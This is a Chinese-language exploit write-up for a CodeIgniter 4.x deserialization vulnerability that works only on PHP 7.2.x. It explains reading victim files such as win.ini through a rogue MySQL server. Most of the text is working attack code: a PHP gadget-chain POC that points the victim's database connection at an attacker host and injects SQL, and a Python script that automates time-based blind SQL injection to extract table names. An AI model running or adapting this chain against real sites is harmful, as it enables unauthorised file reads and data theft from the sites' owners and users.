CodeIgniter4.x反序列化漏洞
CodeIgniter介绍:
CodeIgniter 是一个为用 PHP 编写网络应用程序的人员提供的工具包。它的目标是实现让你比从零开始编写代码更快速地开发项目,为此,CI 提供了一套丰富的类库来满足通常的任务需求,并且提供了一个简单的接口和逻辑结构来调用这些库。CodeIgniter 可以将需要完成的任务代码量最小化,这样你就可以把更多的精力放到项目的开发上了。
漏洞介绍:
因部分函数过滤不合理,联合导致漏洞形成。CI框架建立于PHP>=7.2版本,在这些版本中,PHP对属性修饰符不太敏感,所以我们的POC类中的所有成员属性的对象修饰符都定义为了public。但是“MySQL服务端恶意读取客户端文件漏洞”在PHP7.3版本的Mysqli链接操作中被刻意注意到了这一点。所以该漏洞只能在PHP7.2.x版本中进行利用。
漏洞复现:
需要用到的rogue_mysql_server.py脚本GitHub:https://github.com/Gifts/Rogue-MySql-Server
配置POC文件
配置恶意Mysql主机IP(攻击者外网IP):
配置py脚本
配置完毕后攻击机上运行py脚本
生成Payload
攻击受害机的反序列化点
读取到C:/Windows/win.ini的内容
SQL注入
生成Payload后发送:
成功睡眠一秒,但是这样的注入对于我们来说是很麻烦的,这里我们放在实战中需要借助于Python脚本来进行批量注入。
具体Python脚本实现思路为:
因为我们要与Python进行交互,那么我们修改PHP-POC的内容为:
<?php
namespace CodeIgniter\Database\MySQLi;
class Connection{
public $hostname = '127.0.0.1'; # The attacker's MySQL IP address
public $port = '3306'; # The attacker's MySQL Port
public $database = 'laravel'; # The attacker's MySQL Databases
public $username = 'root'; # The attacker's MySQL UserName
public $password = 'root'; # The attacker's MySQL Password
public $charset = 'utf8'; # utf8
public $escapeChar = '';
public $pretend = false;
}
namespace CodeIgniter;
class Model{
public $db;
public $table = "mysql.user";
public $primaryKey = "1=(case when (select (select group_concat(table_name) from information_schema.tables where table_schema=database()) regexp '^aa') then sleep(1) else 0 end)#";
public function __construct($db){
$this->db = $db;
$payload = $_GET['payload'];
if(isset($payload)){
$this->primaryKey = $payload;
}
}
}
namespace CodeIgniter\Session\Handlers;
class MemcachedHandler{
public $lockKey = '123';
public $memcached = 'a';
public function __construct($memcached){
$this->memcached = $memcached;
}
}
namespace CodeIgniter\Cache\Handlers;
class RedisHandler{
public $redis;
public function __construct($redis){
$this -> redis = $redis;
}
}
$a = array(new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection()))));
echo serialize($a);
编写PythonPoc为:
import requests
PHP_POC = 'http://www.ci.com/hack.php?payload=' # 这里填入 PHP 的 POC
CI_HTTP = 'http://ci.com/public/index.php?a=' # 填入CI站的反序列化点
data = ''
k = 1
while True:
bins = ''
for i in range(1, 8):
payload = "1=if(substr(lpad(bin(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))),7,0),%s,1)=1,sleep(1),0) -- "%(k,i)
SeriaText = requests.get(PHP_POC + payload).text
try:
requests.get(CI_HTTP + SeriaText, timeout=1, proxies={'http':'127.0.0.1:8080'})
bins += '0'
except Exception as res:
bins += '1'
if bins == '0000000':
break
else:
data += chr(int(bins, 2))
k += 1
print(data)